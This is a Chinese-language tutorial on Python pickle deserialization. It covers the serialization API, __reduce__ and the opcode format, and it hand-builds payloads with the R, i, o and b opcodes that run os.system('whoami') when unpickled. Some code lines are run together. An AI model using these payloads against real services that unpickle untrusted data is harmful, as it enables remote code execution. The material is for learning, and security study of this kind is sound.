Pickle pyhton反序列化
参考文章 Python pickle反序列化浅析
Pickle包含四种方法
pickle.dump(obj, file)
将obj对象进行封存,即序列化,然后写入到file文件中
注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
将file这个文件进行解封,即反序列化
注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
将data解封,即进行反序列化
注:data要求为bytes-like object(字节类对象)
常用的也就是dump
和load
,类似于PHP的seralize
和unseralize
import picklezj = 'tttang'filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:print(f.read())# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件print(pickle.load(f)) #将这个文件进行反序列化并输出
__reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用
编写opcode实现函数执行
opcode
,也就是那序列化后的那些字符,它们都有一定的含义,我们通过编写opcode实现函数执行
# 'abcd' b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'# \x80:协议头声明 \x03:协议版本 # \x04\x00\x00\x00:数据长度:4 # abcd:数据 # q:储存栈顶的字符串长度:一个字节(即\x00) # \x00:栈顶位置 # .:数据截止
opcode 字符含义表
R
操作符:弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素。因此这里的话,我们想执行的命令whoami
放入栈中,再把system
模块放入栈中,即可实现函数的函数执行。与函数执行相关的opcode有三个: R
、 i
、 o
R
操作符:弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami
放入栈中,再把system
模块放入栈中,用\x85返回元组
import pickle
a=b'cos
system
X\x06\x00\x00\x00whoami\x85R.'
flag=pickle.loads(a)
字符c读取moduleos,读取namesystem,此时就构造出了os.system
字符X,往后读取四位\x06\x00\x00\x00whoami
字符\x85,它将最后一个数据变成元组重新入栈
字符.,结束了反序列化
i
操作符:向下依次读取两行分别作为module
和name
b'''(X\x06\x00\x00\x00whoamiios
system
.'''
字符(,为了与后面的字符i作对应,i字符寻找上一个MARK来闭合,然后组合其内的数据作为元组,以此元组作为函数参数
字符X,向后读取四个字符串\x06\x00\x00\x00whoami而后压入栈中
字符i,往后读取两行得到os.system,调用参数并执行
字符.,结束反序列化
o操作符 :先弹出栈中一个元素作为args
,也就是参数,而后再弹出第一个元素作为函数
b'''(cos
system
X\x06\x00\x00\x00whoamio.
'''
字符(,为了和之后的字符o对应,实现闭合,获取函数及参数
字符c,往后读取两行,得到函数os.system
字符X,往后读取四位得到x06\x00\x00\x00whoami,即whoami
字符o,与(实现闭合,将第一个元素,也就是os.system作为函数,第二个元素whoami作为参数,执行
字符.,结束反序列化
b操作符:
b'''c__main__
tttang
)\x81}X\x0C\x00\x00\x00__setstate__cos
system
sbX\x06\x00\x00\x00whoamib.'''
字符c,往后读取两行,得到主函数和类,__main__.tttang
字符),向栈中压入空元祖()
字符},向栈中压入空字典{}
字符X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__
字符c,向后读取两行,得到函数os.system
字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system
字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state)
字符X,往后读取四位x06\x00\x00\x00whoami,即whoami
字符b,弹出元素whoami此时state为whoami,执行os.system(whoami)
字符.,结束反序列化
例子
class Student:def __init__(self, name, age):self.name = nameself.age = age
#R:
data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''a=pickle.loads(data)
print(a.name,a.age)S:实例化一个字符串对象
t:寻找栈中的上一个MARK,并组合之间的数据为元组